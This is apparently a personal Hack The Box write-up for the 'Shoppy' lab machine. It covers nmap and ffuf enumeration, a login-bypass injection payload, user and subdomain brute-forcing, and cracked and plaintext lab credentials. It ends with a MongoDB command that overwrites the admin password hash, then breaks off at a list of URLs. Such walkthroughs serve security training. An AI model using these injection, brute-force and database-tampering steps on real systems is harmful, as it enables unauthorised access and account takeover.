HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration:
  • Command Injection Authentication Bypass
  • Insecure API
  • Chat at a Subdomain
  • MongoDB Access
  1. Boxes: Easy

Shoppy

Personal Rating: Easy

PreviousShockerNextSquashed

Last updated 1 year ago

Enumeration:

sudo nmap -sC -sV -O -v -Pn 10.10.11.180

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.23.1
No exact OS matches for host
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • There is a login page at

  • Trying default creds didnt work

  • Trying a simple SQLi the Server give a 504, which is interesting

  • I tried fuzzing for more parameters at but couldnt find more

  • I ran a rather aggressive sqlmap scan with no results

Command Injection Authentication Bypass

In the end there was a simple injection to be found at the login page:

admin'||'a==a

Insecure API

I started a bruteforce for other users here just in case

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
-H "Cookie: connect.sid=s%3AENsO75kQ4ryZ2yvFvoLxcrA2jll5q3_7.DKXEW1aDd2tJJDOeLiDOX1WXzKhSBjJmQl8yIHCL%2FJ4"
-u http://shoppy.htb/admin/search-users?username=FUZZ
-fs 2561

That was worth it as I found the user josh with 6ebcea65320589ca4f2f1ce039975995. I could have used the payload from before to get all users, which I noticed later

I enumerated for any subdomains or other vhosts:

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
-H "Host: FUZZ.shoppy.htb"
-u http://shoppy.htb
-fs 169

Chat at a Subdomain

I actually found mattermost.shoppy.htb

After bruteforcing the hash of josh I could log in there with josh:remembermethisway

There was an interesting text channel

In one of the channels I found working ssh creds jaeger:Sh0ppyBest@pp!

  • Docker should be used for the deploy machine these credentials are for

  • I could ssh onto the machine with the creds of jaeger

  • There are the users with console jaeger, mattermost, postgres and deploy

  • According to LinPeas the machine is vulnerable to CVE-2022-0847, which is a priv esc exploit

  • sudo -u deploy /home/deploy/password-manager works, so I might get the creds for the deploy user

  • There were some interesting files:

/home/jaeger/.nvm/versions/node/v18.6.0/bin in in the path
/home/jaeger/ShoppyApp/node_modules/enquirer/lib/prompts/password.js
/home/jaeger/ShoppyApp/node_modules/mongodb/lib/cmap/auth/
/home/jaeger/ShoppyApp/node_modules/mongoose/node_modules/mongodb/lib/cmap/auth/

home/jaeger/ShoppyApp/index.js

MongoDB Access

The last of which contained the mongodb creds DJ7aAdnkCZs9DZWx

I connected to the local mongodb that I found in the index js:

{ "_id" : ObjectId("62db0e93d6d6a999a66ee67a"), "username" : "admin", "password" : "23c6877d9e2b564ef8b32c3a23de27b2" }
{ "_id" : ObjectId("62db0e93d6d6a999a66ee67b"), "username" : "josh", "password" : "6ebcea65320589ca4f2f1ce039975995" }

I did not find the admin hash decrypt, but I changed the hash, so the password for admin is also “remembermethisway”:

db.users.update({"_id" : ObjectId("62db0e93d6d6a999a66ee67a")},{$set: { "password" : "6ebcea65320589ca4f2f1ce039975995" }});

I found the url and under /exports/export-search.json there were credentials:

http://shoppy.htb/login
http://shoppy.htb/login?
http://shoppy.htb/admin/search-users